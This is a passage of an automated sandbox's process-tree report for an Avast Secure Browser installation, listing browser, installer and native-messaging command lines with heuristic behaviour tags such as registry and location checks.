C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6356,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4160,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3540,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6668 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4168,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6360,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6520,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7112 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=4220,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6188,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7248 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=7260,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7568 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6364,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7716 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6664,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=7984,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7996 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=7556,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --field-trial-handle=6812,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=8264 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.29b060e204bea234 > \\.\pipe\chrome.nativeMessaging.out.29b060e204bea2349⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=8408,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=8452 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=8644,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=8404 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=8712,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=8856 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=8872,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=8888 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=9288,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=9308 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=9480,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=9492 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=8700,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=7560 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=8688,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=9760 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=9824,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=9844 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=10076,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=10088 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --enable-protect9⤵
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c9810⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowserProtect.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowserProtect.exe" --registration reg-task --taskintr PT10M --runonce10⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --field-trial-handle=3728,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=9876 /prefetch:29⤵
- Checks computer location settings
-
-
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\setup.exesetup.exe /silent --create-shortcuts=0 --install-level=1 --system-level8⤵
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\setup.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0x27c,0x280,0x284,0x258,0x288,0x7ff690247390,0x7ff69024739c,0x7ff6902473a89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=shortcut-pin-helper /prefetch:8 startpin "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Avast Secure Browser.lnk"9⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exeAvastBrowser.exe --check-run=src=installer --start-minimized8⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
- Checks system information in the registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c989⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2400,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:29⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=1804,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:39⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --field-trial-handle=1928,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3220,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:19⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3228,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3816,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=4260,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4500,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4760,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5036,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5072,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.c8c44841177dac34 > \\.\pipe\chrome.nativeMessaging.out.c8c44841177dac349⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks processor information in registry
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=shortcut-pin-helper /prefetch:8 has-startpin "C:\Users\Public\Desktop\Avast Secure Browser.lnk"9⤵
- Checks computer location settings
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4504,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=shortcut-pin-helper /prefetch:8 startpin "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Avast Secure Browser.lnk"9⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings9⤵
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0x260,0x264,0x268,0x23c,0x26c,0x7ff74a3b7390,0x7ff74a3b739c,0x7ff74a3b73a810⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\AVAST Software\Browser\Application\initial_preferences" --create-shortcuts=1 --install-level=0 --no-pin-startmenu10⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0x240,0x244,0x268,0x23c,0x26c,0x7ff74a3b7390,0x7ff74a3b739c,0x7ff74a3b73a811⤵
-
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=4784,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:89⤵
- Checks processor information in registry
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.4c82bee4a2bd3d9a > \\.\pipe\chrome.nativeMessaging.out.4c82bee4a2bd3d9a9⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --enable-protect9⤵
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c9810⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.9cb261b5f10bf56c > \\.\pipe\chrome.nativeMessaging.out.9cb261b5f10bf56c9⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6212,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:89⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.4ec2d95904ef5000 > \\.\pipe\chrome.nativeMessaging.out.4ec2d95904ef50009⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks processor information in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.fadcfddb2f793c51 > \\.\pipe\chrome.nativeMessaging.out.fadcfddb2f793c519⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.e77105620b71036 > \\.\pipe\chrome.nativeMessaging.out.e77105620b710369⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks processor information in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.b7f24b39f6531123 > \\.\pipe\chrome.nativeMessaging.out.b7f24b39f65311239⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.265ed3e3cfb9d11b > \\.\pipe\chrome.nativeMessaging.out.265ed3e3cfb9d11b9⤵
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" chrome-extension://lhnnoklckomcfdlknmjaenoodlpfdclc/ --parent-window=010⤵
- Checks processor information in registry
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5076,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=7208,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=7196 /prefetch:89⤵
-
-
